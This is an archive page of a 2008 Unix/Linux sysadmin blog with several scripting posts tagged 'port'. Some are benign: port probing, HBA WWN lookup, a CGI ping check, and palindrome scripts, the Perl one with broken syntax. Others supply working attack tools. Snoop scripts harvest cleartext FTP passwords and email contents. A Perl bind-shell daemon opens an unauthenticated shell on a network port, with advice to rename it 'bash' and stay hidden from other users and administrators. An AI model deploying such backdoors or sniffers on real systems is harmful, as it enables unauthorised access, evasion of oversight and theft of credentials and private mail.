Showing posts with label port. Show all posts
Showing posts with label port. Show all posts

Friday, November 7, 2008

Script To Blind Test Local Ports On Linux And Unix

Hey there,

It's been a while since we touched on network port-knocking, like we did back in December in our post on non-maliciously scanning for open network ports. And, in all that time, we've gotten sidetracked so many different ways we're just now getting around to addressing the complement to mass-querying network ports on other hosts in our network (hosts run by folks who, of course, don't mind if we query all of their machine's ports :) Today, we're going to take a look at simply and quickly getting as much dirty information about open ports on your own localhost as possible (By localhost, we mean, the server you're currently logged into and by dirty, we mean "not necessarily useful, but, probably, interesting and, maybe, useful" ;)

This intro-to-the-weekend script is pretty short and sweet. It doesn't require that you be able to do anything other than execute it (and run telnet) on your local system (from it, directly to it, which shouldn't be a security concern) and also doesn't accept any arguments (Technically, it will accept them. Then it will passively ignore them :) It can be run very simply from the command line as:

host # ./porttest.sh <-- Or whatever you decide to rename it

We've elected to have our port scan start at 80 (The traditional http server port) and grab every other (higher) listening port on the localhost and query all of them, as if they were http servers, by sending a simple HTTP/1.0 GET request. As a blanket request to any number of known, and unknown, ports, it's not always the best way to interrogate, but it does get lots of useful information from any sort of web server and a few other sorts of servers as well. The only thing you have to settle down and be comfortable with is the fact that, a lot of the time, you can find out just as much about what's running on a particular port by reading the error message you receive from a bogus query as you can from reading the result of a successful one.

As a "for instance," here's one such error message we received on a trial run:

Testing 127.0.0.1 on port 32848... HTTP/1.1 404 Not Found
server: BBC 05.20.050; com.hp.ov.ctrl.ovcd 1.5.0.0
Connection closed by foreign host.


Even though the HTTP/1.0 GET request failed, we got enough information from the service resident on that port to figure out that it is, in fact, HP OpenView!

Have fun with this one, but please quit using it if your boss, or a member of your security team, complains. It might be fun, but it's not that much fun ;)

Cheers,


Creative Commons License

This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/bash
#
# porttest.sh - Test those ports. This is not a drill ;)
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#
#
hostname=`hostname`
netstat -an|awk '{ if ( $NF ~ /LISTEN/ ) print $4}'|awk -F":" '{ if ( NF == 2 ) print $1 " " $2}'|while read ip port
do
if [ $ip = "0.0.0.0" ]
then
ip="$hostname"
fi
if [ $port -gt 79 ]
then
echo -n "Testing $ip on port $port... "
(echo "GET / HTTP/1.0";echo;sleep 3)|telnet $ip $port|egrep -i 'server|http'
echo
else
echo "skipping port $port"
echo
fi
done


, Mike




Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Wednesday, October 1, 2008

How To Easily Find The WWN's Of A QLogic HBA On RedHat Linux

Hey there,

Today's post should be nice and simple. Maybe even short... yeah ;) This is a bit of a follow-up on a post we did a long long time ago regarding Linux networking tips. It's quite a bit more specific, but remains true to the spirit of that post (from December 2007, which, still, seems like it was just last year ;)

Today, we're going to take a look at a really simple way to figure out the World Wide Name (WWN) of both your Fibre NIC's port(s) and the switch it's connected to. To add a bit of clarity here, a lot of times you'll hear a QLogic (which is what we have on the menu today) Fibre NIC referred to as an HBA (Host Bus Adapter). It's become common to interchange the meaning of the two, although, technically, the HBA is an I/O adapter that resides "between" the computer's Bus (A collection of wires that data gets transmitted through. Not a clever acronym as far as I know ;) and the Fibre Channel Loop, and deals with the overhead associated with the transfer of information between the two. This becomes even more confusing when you consider that some Fibre NIC cards either have an HBA on board or act in the capacity of an HBA. But, in the end, you have to ask yourself just one question: If you can fix one a' them doohickies when it breaks, who cares? ;)

Anyway, back to the topic of the day: Finding the port and switch WWN's for a QLogic Fibre NIC on RedHat Linux. The version we're testing on today is:

hostess # cat /etc/issue
Red Hat Enterprise Linux ES release 4 (Nahant Update 6)
Kernel \r on an \m

hostess # uname -a
Linux hostess1 2.6.9-67.0.1.ELsmp #1 SMP Fri Nov 30 11:51:05 EST 2007 i686 i686 i386 GNU/Linux


The setup on our machine is a very simple QLogic Fibre Channel Card (which comes with it's own on-board HBA), referred to by the operating system as qla2xxx (This translates to another meta-name in /etc/modprobe.conf, but since that name is an alias for this name, we'll use this one instead.). In order to find out the WWN's for this card, all we need to do is follow this simple process:

1. Find the instance of the card's name in the /proc filesystem:

host # find /proc -type d -name qla2xxx
/proc/scsi/qla2xxx
<-- Note that we referenced a directory here. Normally, you wouldn't know this, but we did, so it made the search go faster by .001 seconds (according to the "time" command which is notorious for being off by a few thousandths of a second every now and again ;)

2. cd into the qla2xxx directory and do an "ls -l" and a "file" on "*" (not really necessary, but fun :)

hostess # ls -l *
-rw-r--r-- 1 root root 0 Sep 30 12:25 1
-rw-r--r-- 1 root root 0 Sep 30 12:25 2
-rw-r--r-- 1 root root 0 Sep 30 12:25 3
-rw-r--r-- 1 root root 0 Sep 30 12:25 4
hostess # file *
1: empty
2: empty
3: empty
4: empty


3. Now, you've probably noticed that the file sizes are all 0 and the output of the file command says "empty" for all of them. This is an illusion the /proc filesystem plays. You can prove this (the long way) by copying any file into, say, /tmp and running the same commands again:

hostess # cp 1 /tmp/DELETEME
hostess # ls -l /tmp/DELETEME
-rw-r--r-- 1 root root 1033 Sep 30 12:27 /tmp/DELETEME
hostess # file /tmp/DELETEME
/tmp/DELETEME: ASCII English text


...it's interesting to note, also, that running the "stat" command doesn't even get you the correct information within the /proc filesystem. The results are the same as above: The file's empty if it's in /proc, but has mass when it's copied or moved out.

4. Now we can get our info. This egrep command pulls out all the salient information. There's a lot more output in each file and, depending upon your interests (or how bored you are right now ;), you might find a lot of it very helpful in a troubleshooting or performance-evaluation situation. First the command, then the explanation:

hostess # egrep 'QLogic|scsi-' *
1:QLogic PCI to Fibre Channel Host Adapter for QLA2342:
1:scsi-qla0-adapter-node=200000e08b12f98d;
1:scsi-qla0-adapter-port=210000e08b12f98d;
2:QLogic PCI to Fibre Channel Host Adapter for QLA2342:
2:scsi-qla1-adapter-node=200100e08b32f98d;
2:scsi-qla1-adapter-port=210100e08b32f98d;
2:scsi-qla1-target-0=50060e80039cab0a;
2:scsi-qla1-port-0=50060e80039cab0a:50060e80039cab0a:612c13:81;
3:QLogic PCI to Fibre Channel Host Adapter for QLA2342:
3:scsi-qla2-adapter-node=200000e08b18e575;
3:scsi-qla2-adapter-port=210000e08b18e575;
3:scsi-qla2-target-0=50060e80039cab1a;
3:scsi-qla2-port-0=50060e80039cab1a:50060e80039cab1a:612c13:81;
4:QLogic PCI to Fibre Channel Host Adapter for QLA2342:
4:scsi-qla3-adapter-node=200100e08b38e575;
4:scsi-qla3-adapter-port=210100e08b38e575;


The things to notice above, are that only two of the targets have the "scsi-qlaX-adapter-target" value set. This is because the "QLA2342" (qla2xxx's actual name, shown in the output) only has 2 ports (despite the four descriptors). You can actually read up more on the technical specs at QLogic's Official QLA2342 Spec Page. Notice that even "they" refer to the QLA2342 as an HBA, rather than a Fibre Channel NIC...

5. And, now, here's the information you're ultimately looking for. To find the WWN for each of the two "ports," check the egrep results for the files that came back with the word "target" in them. All four use the "port" keyword. You can grab this more succinctly off of the command line with:

hostess # grep -l "target-" *|xargs egrep -i 'QLogic|scsi' /dev/null
2:QLogic PCI to Fibre Channel Host Adapter for QLA2342:
2:Number of reqs in pending_q= 0, retry_q= 0, done_q= 0, scsi_retry_q= 0
2:SCSI Device Information:
2:scsi-qla1-adapter-node=200100e08b32f98d;
2:scsi-qla1-adapter-port=210100e08b32f98d;
2:scsi-qla1-target-0=50060e80039cab0a;
2:scsi-qla1-port-0=50060e80039cab0a:50060e80039cab0a:612c13:81;
2:SCSI LUN Information:
3:QLogic PCI to Fibre Channel Host Adapter for QLA2342:
3:Number of reqs in pending_q= 0, retry_q= 0, done_q= 0, scsi_retry_q= 0
3:SCSI Device Information:
3:scsi-qla2-adapter-node=200000e08b18e575;
3:scsi-qla2-adapter-port=210000e08b18e575;
3:scsi-qla2-target-0=50060e80039cab1a;
3:scsi-qla2-port-0=50060e80039cab1a:50060e80039cab1a:612c13:81;
3:SCSI LUN Information:


From the above, you'll know that the "adapter-port-0" line is the WWN of the port itself, and the "target-0" line is the WWN of the Fibre Switch it's connected to.

Simple as binary PI ;)

Cheers,

, Mike




Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Wednesday, June 18, 2008

Pinging And Checking Port Status With Perl CGI On Linux And Unix

Greetings,

To change things up a bit today, we're going to go back to some Perl scripting. It seems like it's been a while, but that may just be my distorted sense of space and time. In any event, since this blog covers many many things related to Linux and Unix (which my probable life-span wouldn't allow me to script out or write about ;), today seems a good a day as any to get back to putting out some script work.

Today's Perl script is very simply written and, although a bit lengthy, fairly limited in what it does. Of course, it should also be fairly simple to expand upon and make do much more work than would normally be commensurate with a general breakdown of the keystroke/output-usefulness ratio.

This script closely echoes previous scripts we put out to check on web server status and check on network server port-health insofar as the end result is concerned. It should run fairly simply, too (you'll probably just need to change the target host, target port and, possibly, the location of the ping command, and its arguments, to suit your taste - or have those all fed to the script from the command line using the @ARGV array):

host # ./portpinger.pl

This version, however, is a bit more complex (or convoluted, depending on how you look at it ;) to highlight a few other concept-based posts that we've put out in the interim. For instance, this Perl script (while it's not absolutely necessary, given the abundance of variable names we could have used to get-around) makes use of variable scoping within subroutines. This is something, actually, that we're building toward in our ever-expanding series on porting code between shell, Perl and awk. And the final thing we highlight, somewhat, in this particular script (that my green-screen-addled brain can still discern ;) is signal trapping and handling with Perl.

Whether or not you have any use for it, I hope you can find something in its over-production that sparks some interest or gets you thinking more about the many different ways you can use Perl to do many different things. Basically, this script does a ping, a port check and then puts up a CGI web page. But, sometimes, the lessons (good or bad) are found more in the context than in the message :)

Cheers,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/usr/bin/perl

#
# portpinger.pl - Ping a Port and Check Another One Just for kicks.
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

use Socket;
use CGI;

$socketpinger = new CGI;
$pingee = "www.xyz.com";
system("ping $pingee 1 1 2>/dev/null 1>/dev/null");
$pingyn = $? >> 8;

print $socketpinger->header();
print "<html><head><title>Caps Checker</title></head>\n";
print "<body>\n";
if ( $pingyn ) {
print "<center><h3>Result of ping to $pingee:</3></center> <center><h2>N
o Answer</h2></center>\n";
} else {
print "<center><h3>Result of ping to $pingee:</h3></center> <center><h2>
$pingee is alive!</h2></center>\n";
}

print "<center><h3>Result of tcp connect to port 443:</h3></center>\n";
&checkhost($pingee,443);

print $socketpinger->end_html();
sub Timer { die "Alarm Clock\n"; }

sub checkhost {
local($host,$port) = @_;
local($t,$cnt,@var,$ip,$down);
undef @fdata;
$AF_INET=2; $PF_INET=$AF_INET; $SOCK_STREAM=1; $IPPROTO_TCP=6;
$sockaddr = 'S n a4 x8';
($t,$t,$t,$t,@var) = gethostbyname($host);
$ip = $var[0];

$down = 0;
$this = pack($sockaddr, $AF_INET, 0, "\0\0\0\0");
$serveraddr = pack($sockaddr, $AF_INET, $port, $ip);
eval 'socket(RS, $PF_INET, $SOCK_STREAM, $IPPROTO_TCP)|| die "socket: $!"';
if ($@) {
$SOCK_STREAM=2;
socket(RS, $PF_INET, $SOCK_STREAM, $IPPROTO_TCP) || die print "socket: $
!";
}
bind(RS, $this) || ($down = 1);
if ($down) {
print "<center><h2>$host at port $port is down.</h2></center>\n";
shutdown(RS,2);
close(RS);
return;
}
$SIG{'ALRM'} = 'Timer';
eval {
alarm(5);
connect(RS, $serveraddr) || die ($down = 1);
};
alarm(0);
if ($down || $@ =~ /Alarm Clock/) {
print "<center><h2>$host at port $port is down.</h2></center>\n";
shutdown(RS,2);
close(RS);
return;
}
$up[$num] = 1;
print "<center><h2>Connection to $host at port $port successful.</h2></cente
r>\n";
shutdown(RS,2);
close(RS);
}

, Mike

Monday, April 28, 2008

Snooping The FTP Command Port On Solaris





Check out the video above to see this simple script in action.

Hey There,

Today, we're going to take another look at parsing the output from "snoop" (good to go on Solaris Unix 8 through 10), as we did in our previous post on finding and printing out logins, passwords and other session information over Telnet. Today, we're going to see what we can find by monitoring FTP port 21 (as opposed to FTP data port 20).

Again, a quick note: Today's simple script and demonstration are provided simply to shine a light on a vulnerability that has existed for quite some time, and not as an invitation to illegal activity. I'd like to think that posts, and articles everywhere, on this subject serve as a consistent reminder that, if you really want to try and keep your information secure, you shouldn't use unsecure protocols. For instance, as an alternate to straight-up FTP, programs like SCP and SFTP (Technically a subsystem of SSH, running on port 22) are freely available and would make this method of gaining information impossible.

Hopefully this bash shell script will help out a few sys admins out there. Actually, getting information from FTP port 21 is so simple that the script could actually be written on one succinct command line.

Rather than go into a long convoluted dissection of how the process works (which we beat to death in our post on grabbing passwords with snoop over Telnet), I've attached a small video to this post (see above). If you can, download it and play it in slow motion. The player above should freeeze on the final frame, which is really the shot that shows you how much information you can get by just "listening."

Note, also, that the one big difference between this script and our last script for grabbing passwords using snoop (other than that we're doing it on FTP port 21) is that this script has been written to take standard input (STDIN) rather than read a binary snoop file. So, you'll need to run it like this:

host # snoop -v port 21|./ftppass.sh

You can change the original Telnet script also. All you need to do is comment out this part:

if [ $# -ne 1 ]
then
echo "Usage: $0 snoop_file"
exit 1
fi

snoop_file=$1

if [ ! -f $snoop_file ]
then
echo "Snoop Output $file does not exist. Exiting!"
exit 1
fi


and change this line by removing the "<$snoop_file" reference, so it just says "done":

done <$snoop_file

Just in case you have problems viewing the video above (codecs, no plug-in for your browser, etc), even though I put it up on youtube in hopes that would make it most accessible, I've included another run of output below (same thing, only slightly different and shorter ;):

host # snoop -v port 21|./ftppass.sh
Using device /dev/qfe (promiscuous mode)
220 host FTP server ready.
USER test
331 Password required for test.
PASS binger
530 Login incorrect.
SYST
530 Please login with USER and PASS.
USER test
331 Password required for test.
PASS testing123
230 User test logged in.
PWD
257 "/home/test" is current directory.
QUIT
221-You have transferred 0 bytes in 0 files.
221-Total traffic for this session was 360 bytes in 0 transf


Hopefully this will help you help others see the benefit of using secure FTP whenever possible (even on a "secure" network).

Cheers,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/bash

#
# ftppass.sh
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

while read line
do
echo $line|awk '{ if ( $1 ~ /FTP:/ && $2 && $2 !~ /^""$/ && $3 !~ /FTP:/ ) print substr($0,index($0,$2)) }'|sed -e 's/^\"\(.*\)\"$/\1/' -e 's/rn$//'
done


, Mike

Tuesday, April 22, 2008

Functions Vs. Subroutines In Perl And Bash - Palindromes Revisited

Hey There,

As the clever title of today's post suggests, this is the follow up to our post on scripting out a way to determine if a string is a palindrome using Perl.

One of the main things to note (which isn't the only difference, of course) is the way in which the Bash shell and Perl deal differently with "routines." In our Perl script, we did the meat of our recursive work inside a "subroutine." In today's Bash script, that same work is handled inside a "function."

Functionally speaking, both a Perl "subroutine" (Identified by the "sub" declaration) and a Bash "function" (Identified by the "function" declaration) do the same things. They allow you to create a block of code for use within in your script. Naturally, functions and/or subroutines, are a great help if you find that your script consists of typing the same set of instructions more than once (if you have to type the same block of code more than twice, they're even better ;)

Technically speaking, there are some major differences between the two that should be noted. These should be platform independent and true for both Bash and Perl on Linux or Unix.

In Perl, since all of the information in the script is processed before the script is run, you can include your "subroutine" anywhere in the script, even if it's after the line on which you call it. It's common practice to put subroutines at the bottom of the script, but you can put them anywhere within the script that you like, if you're so inclined.

In Bash, since the script is parsed from top-to-bottom in a left-to-right fashion, "functions" absolutely need to appear in the script before the line on which they are called. If you put a function definition at the bottom of your Bash shell script and call that function 15 lines prior, you'll receive something along the order of a "command not found" error.

In Perl, when you pass arguments to a subroutine, you have a few different ways you can do it (basically, deprecated methods still work), but the most elegant way to pass simple variables to your Perl subroutine is to include them within parentheses, separated by commas, like so:

MySub( $var1, $var2, $var3);

The subroutine that would accept, and process, all of those arguments may look something like this:

sub MySub( $var1, $var2, $var3) {
print "$var1 $var2 $var3\n";
}


In Bash, when you pass arguments to a function, you can just pass them as if they were arguments to a regular command, like this:

MyFunction $var1 $var2 $var3

The function that would accept, and process, these arguments may look something like this:

function MyFunction {
echo "$var1 $var2 $var3"
}


Interesting side note: In Bash, if you declare a function, you can leave out the reserved word "function" if you want to, but this requires that you use parentheses, like with Perl. So you could write your function like this:

MyFunction () {
echo "$var1 $var2 $var3"
}


However, if you opt to use the reserved word "function" when declaring your function (like we do), the parentheses following the function name are optional :)

You may have noted that we haven't mentioned anything about "scope" with regards to variables and functions or subroutines. This is on purpose. We'll inevitably tackle that in a later post, but it's beyond the "scope" of this one (that was a truly painful pun for all of us... but utterly unavoidable ;)

On that note (for the palindromes), in our Bash script we've taken advantage of that "lack of scope" and simply set the "$status" variable globally within the palindrome function. In our Perl script, we used "return" to pass back either a 0 or a 1 to the calling procedure. The major difference here is that our Perl script was returning a code back to a variable which was defining its value based on the outcome of the subroutine process, so:

$status = palindrome( @string, $chars, $count );

was giving the "$status" variable a value of 0 or 1, depending on what the "palindrome" subroutine returned. In Bash, we jumped right over the middle man and just set the global "$status" variable from within the function (This isn't generally recommended, but okay for our purposes here). Assuming there are no bugs in your version of Bash that mangle the scope of variables within functions, the only risk you're taking, by defining a global variable from within a function, is that you'll forget about it and redefine it outside the function, thereby overwriting the value. But, again, that's for another day, as I can feel an essay coming on ;)

Hope you enjoy the Bash version of our simple palindrome script and that it helps you see the correlation between not only functions and subroutines, but some other aspects of coding that are either common, or unique, to both Bash and Perl.

Best wishes,

Cheers,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/bash

#
# bashpal.sh
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

function palindrome {
if [ "${string:${count}:1}" == "${string:${chars}-${count}-1:1}" ]
then
let count=$count+1;
palindrome "$string" "$chars" "$count"
fi
if [ $count -eq $chars ]
then
status=1;
else
status=0;
fi
}

printf "Enter A String: "
read string

chars=${#string}
count=0
palindrome "$string" "$chars" "$count"

if [ $status -eq 1 ]
then
printf "\n That String Is A Palindrome.\n\n"
else
printf "\n That String Is Not A Palindrome.\n\n"
fi


, Mike




Sunday, April 20, 2008

Porting Perl To Shell Again - Palindromes

Hey There,

For this "Lazy Sunday" post, we're going to take a look at a Perl script, for Linux or Unix, that checks whether or not a string you input is a palindrome. As you probably know (but I feel I should explain anyway, just to be thorough ;), a palindrome is any set of letters, numbers, spaces, etc, that reads exactly the same forward or backward.

Check out this little script and notice the use of recursion to both maintain a pseudo "state" and the use of a single subroutine to perform what could be a complex operation.

We'll port this to shell in a few days (like we've done in our post on porting a web element reporting script and its improved log checking follow up), with more explanation of what's going on, and the why and how of what gets changed when we port from Perl to shell.

Enjoy your Sunday and relax :)

Cheers,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/usr/bin/perl

#
# perlpal.sh
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

print "Enter A String: ";
$string=<STDIN>;
chomp($string);

$chars = length($string);
@string = split(//, $string);
$count=0;
$status = palindrome( @string, $chars, $count );


if ( $status == 1 ) {
print "\n That String Is A Palindrome.\n\n";
} else {
print "\n That String Is Not A Palindrome.\n\n";
}

sub palindrome(@string, $n\chars, $count) {
if ( $string[$count] eq $string[$chars-$count-1] ) {
$count++;
palindrome($string, $chars, $count);
}
if ($count == $chars) {
return 1;
} else {
return 0;
}
}


, Mike




Saturday, April 19, 2008

Snooping Through Email On Solaris

Good morning/afternoon/evening,

For this Saturday's post, I thought I'd put together another bash script on Solaris Unix using snoop. The last time we did this it was to grab cleartext logins and passwords. This time, I thought we'd look at email. SMTP, port 25, in particular.

Snooping through someone's physical mail (delivered to their home) would be a federal offense, but (to my knowledge) if you're a Unix or Linux administrator and have to analyze network traffic and interrogate packets at your place of work, there's almost no way you can avoid getting into other people's business. Most company's have an HR policy that your email is considered private and gaining access to another user's email, without their consent, is blah, blah, blah leading up to, and including termination. Of course, five minutes after said employee leaves the company, you're probably going to be called upon to provide just that sort of access (or the information gained by that access) to the same department that demanded you never ever do that sort of thing in the first place.

That being said, I'm pretty sure the law at this point is that a company can do whatever it wants with any data you create or use on their systems. If they need to, or want to, they can look at the email you send out and receive and where you go on the web, etc. I'm not sure why corporate America insists on assuring the average employee that their company-owned data is "personal and confidential" when all that email and web traffic has to be scanned by 15 security appliances before it can be allowed to enter or leave the company network? You can't block access to a website (even to, say, everyone in the company) without having to examine where every employee is going when they surf the web, etc. It probably makes for some yawn-inspiring legal battles ;)

Anyway, for the sake of today's argument, you're the root user (or someone with sufficient privilege to run snoop on Solaris Unix) and you're inspecting network traffic on an interface on a machine for a semi-legitimate reason.

If you need to check mail traffic, the simplest thing to do is snoop on port 25. This is the SMTP port and is used for sending and receiving email (you can also look at the POP and IMAP ports, but we'll wrap that into the everything's-pretty-much-all-the-same-when-you-get-right-down-to-it closing). You can get a good deal of information just running a straight-up snoop, like so:

host # snoop -o output_file port 25 <--- This snoop will use the default network interface, only capture traffic on port 25 and write the output to a file called "output_file."

The only problem you have is that, although it's readily clear who sent mail to whom, you can't see "what" they wrote. That's the stuff you want to see if you're going to be intercepting that information in real-time.

Note: In order to see the full contents of a packet, you don't need to use the "-v" flag. In fact, I'd strongly discourage it, since it pumps out about 50+ lines of IP stack layer information that you don't need for each and every packet!

If you want to see the full contents of the packets in snoop, just use the "-x" option and pass it the argument of an offset. "-x" gives you the entire packet, in both HEX and ASCII formats. You don't really need the HEX, since most humans read ASCII encoded text (like this) a lot more easily ;) A quick way to dump the HEX portion of each packet is to set the offset to 54 (for TCP traffic) and 42 (for UDP traffic). So, if you wanted to grab each packet and look at the ASCII contents only, you would type:

host # snoop -x 54 -o output_file port 25 <--- We're assuming TCP for the email transmission, although we'd capture any UDP packets that went to that port, also.

If you're ever snooping a protocol that doesn't fit the standards, or you forget these, you can almost always get the exact same effect (for TCP, UDP and any other protocol) by piping your output_file to awk when you're ready to read it, and just printing out the last field of every record, like so:

host # snoop -o output_file port 25
host # snoop -i output_file 2>&1 | awk '{ print $NF }'


The script we wrote for today doesn't take any arguments (but you should modify the snoop line if you want to specify a NIC with the "-d" option) and can be run simply, like this:

host # ./snoopmail.sh

And you'll get somewhat-ugly, but ultimately satisfying, results like this (yet another reason to never send a password via email):

..............To
...some.poor.guy
@xyz12345.com..S
ubject
Update 4....Hi
again....How are
ya,....Your new
password is bU
ggl3s....Please
do not share thi
s information wi
th any one!....T
hanks,.....Secur
ity..


Enjoy your Saturday, everyone :) Best wishes,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/bash

#
# snoopmail.sh
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

if [ $# -ne 1 ]
then
echo "Usage: $0 SnoopOutputFile"
echo "Please capture packets with the suggested"
echo "settings: snoop -o output port 25"
exit 1
fi

snoop_file=$1

if [ ! -f $snoop_file ]
then
echo "Cannot find snoop output file $snoop_file. Exiting..."
exit 1
fi

snoop -i $snoop_file -x 54|sed -n '/DATA/,/QUIT/p'|grep -v SMTP|awk -F":" '{print $2}'|cut -c41- -


, Mike




Friday, April 11, 2008

Perl Script To Run A Linux Or Unix Shell On A Network Port

Hey again,

Today, we're following up on the promise we made in this Monday's post on running a Linux or Unix shell on a network socket and bringing you that same functionality in a Perl script. No more mucking with C code or C compilers, but the program is, of course, slightly different (slightly better in some ways, slightly not-better in others ;)

You might also check back on our follow up to the original "network port shell" post, by looking at the usage help we posted, if you run into any funky terminal I/O issues. But this script, and the sockets/shell implementation is a bit smoother and more accessible.

The script can be run easily from the command line, like this:

host # ./shell.pl 45778 <--- The port you pick is arbitrary but should be unused, and over 1024 if you are a regular user

You'll probably want to comment out the first 4 lines of code that do the error checking on the command line and just define your port within the script. That way, when you run it, it won't look quite so obvious that you're running an interactive login shell on a random port. For instance, this is how it would look normally, in ps output:

host # ps -ef|grep shell
user51 8427 1 0 14:49 ? 00:00:00 /usr/bin/perl ./shell.pl


If you make that slight modification (and maybe rename the program to "sh," or "bash" or something else that normally has a ton of listings in the ps table output), you're less likely to be noticed:

host # ps -ef|grep bash
user99 28727 28726 0 10:27 pts/3 00:00:00 -bash
user51 11251 11250 0 13:50 pts/2 00:00:00 ./bash
user00 15595 15153 0 13:54 pts/1 00:00:00 -bash


In the above example, it's kind of obvious which process is yours, but mixed in with 20 or 30 other regular users and all their processes, that might get missed. This is all for your convenience and lack of hassle, of course. We're assuming you're not going to be using this to do anything "wrong." That just wouldn't be "right." :)

Once it's compiled, just Telnet to the port and you've got a shell connection on your internet socket!

Now, with this Perl script you'll notice two things. The first is that you won't have the "huge" problems the original C program had with input and output. For instance, this is what it will look like the first time you connect (the double PS1 prompts actually show up that way) :

host # telnet localhost 49987
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
sh: no job control in this shell
host # id
uid=0(root) gid=0(root) groups=0(root)
host # host # ls
file1
file2
file3
host # host # pwd
/root
host # host # exit
<--- This won't work because it's not really a "tty"
^]
telnet> q
Connection closed.
host # id
uid=501(user51) gid=501(user51) groups=501(user51)


You'll notice, just like before, that the shell on the socket runs as the user who kicked it off, so, even though we accessed it as a non-privileged user, we got a root shell without having to login. Be very careful if you leave this up for convenience as it can become a big problem for you if someone mischievous finds it :)

The second thing I wanted to you to notice (ok, technically, the third ;) is that the shell doesn't get spawned every other Telnet connection. For some reason (the initial disconnect, Perl's functionality or my programming skills) the shell only starts up every other time you connect. For instance, if you disconnect and reconnect, you'll get this:

host # telnet localhost 49987
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.


And no output. Just do the normal Telnet quit:

^]
telnet> q
Connection closed.


And connect again. The shell will come up like it did the first time. I'm convinced I may know what the problem is, but have no more time to work on it right now, but I also found that there's a benefit to it working this way. That is to say, when you get done, if you want to keep the shell running on the port and remain semi-stealthy, just don't connect again. Then, if anyone finds it, they'll connect to a seemingly dead port and either forget about it or kill the PID associated with the connection. Either way, the next time you need it, you'll know, even if you get no response, you just need to quit your Telnet session and reconnect to get the shell back up.

Enjoy, stay safe and have a great weekend :)


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/usr/bin/perl

#
# shell.pl - run a shell on a network socket
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

if ( $#ARGV != 0 ) {
print "Usage: $0 PortNumber\n";
exit(1);
}

use Socket;
use POSIX;

$port = $ARGV[0];
$host = "localhost";
$protocol = "tcp";

if ( $port =~ /\D/) {
$port = getservbyname($port, $protocol) || die "getservbyname ${port}/$protocol\n";;
}
$inet_address = inet_aton($host) || die "inet_aton: ${host}\n";
$port_address = sockaddr_in($port, $inet_address);
$protocol_num = getprotobyname('$protocol');

$| = 1;

socket(SOCKET, AF_INET, SOCK_STREAM, $protocol_num) || die "socket: $!";
setsockopt(SOCKET, SOL_SOCKET, SO_REUSEADDR,1) || die "setsockopt: $!\n";
bind(SOCKET, $port_address) || die "bind: $!\n";

defined(my $pid = fork) or die "fork: $!";
exit if $pid;
setsid or die "session: $!";

close(STDIN);
close(STDOUT);
close(STDERR);
setpgrp();
$SIG{HUP} = "IGNORE";

defined(my $pid = fork) or die "fork: $!";
exit if $pid;
setsid or die "session: $!";

$lsock = listen(SOCKET, 5) || die "listen $!\n";

while (1) {
$shell_shock=accept(NEWSOCKET, SOCKET)|| die "accept $!\n";
dup2(STDIN,0);
dup2(STDOUT,1);
dup2(STDERR,2);
system("/bin/sh -i");
close($shell_shock);
}
close(SOCKET);
exit;


, Mike




Tuesday, April 8, 2008

Usage And Compile Help For Linux/Unix Network Port Shell Program

Hey there,

Today's post is a follow up to yesterday's post on running a shell on a network socket. There are a few notes we'd like to add regarding compilation and usage, once you've got the program up and running on your Linux or Unix server.

First, the compile time note. Additional testing on other flavors of Linux showed that neither:

#include <sys/byteorder.h>

nor

#include <sys/endian.h>

worked on all systems :( We did find that this Linux "include" seems to work as a handy substitute for either:

#include <linux/byteorder/generic.h>

Of course, if none of these options work for you, we put comments in the code that name the functions and/or declarations that we're trying to grab from each of the includes. So, if you still find yourself in a pickle after trying all 3 of these include statements, you can probably find the correct include (.h header file) by typing the following at your command prompt:

host # find /usr/include |xargs egrep 'htons|htonl' /dev/null

It may be a bit tricky trying to find the correct include file, but it will probably have a name very similar to the 3 noted above.

Now, on to the fun stuff: Usage :)

To get this out of the way, if you've compiled and used the program to run a Linux or Unix shell on a network socket, you've probably noticed that the input and output don't behave exactly as you would expect in a regular shell.

Note that this line in the code:

execl("/bin/sh","sh",(char *)0);

was originally attempted in the following two manners (to try and force an interactive shell):

execl("/bin/sh","sh","-i",NULL); <--- Socket would connect, but then it would disconnect you immediately
execl("/bin/sh","sh","-i",(char *)0); <--- Socket would connect, and it wouldn't look ugly, but it wouldn't do anything else either (and we made sure it wasn't just an issue with echo by touching some files and verifying that they never got "touched" ;)

When all was said and done, this was the quickest, and dirtiest, way we could get the shell to answer on the network socket and be truly interactive. However, as mentioned above, it doesn't quite behave the way you might assume. Even shell built-in's don't work correctly for the most part, like in this mini-run-through:

host # ls
. .. netsock netsock.c
host # ./netsock
host # telnet localhost 40236
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
ls
: command not found
pwd
: command not found
id
: command not found
echo
: command not found


Yet, strangely enough, "echo," with arguments, works (???):

echo hi
hi


although "eval" doesn't work, straight up:

eval ls
: command not found


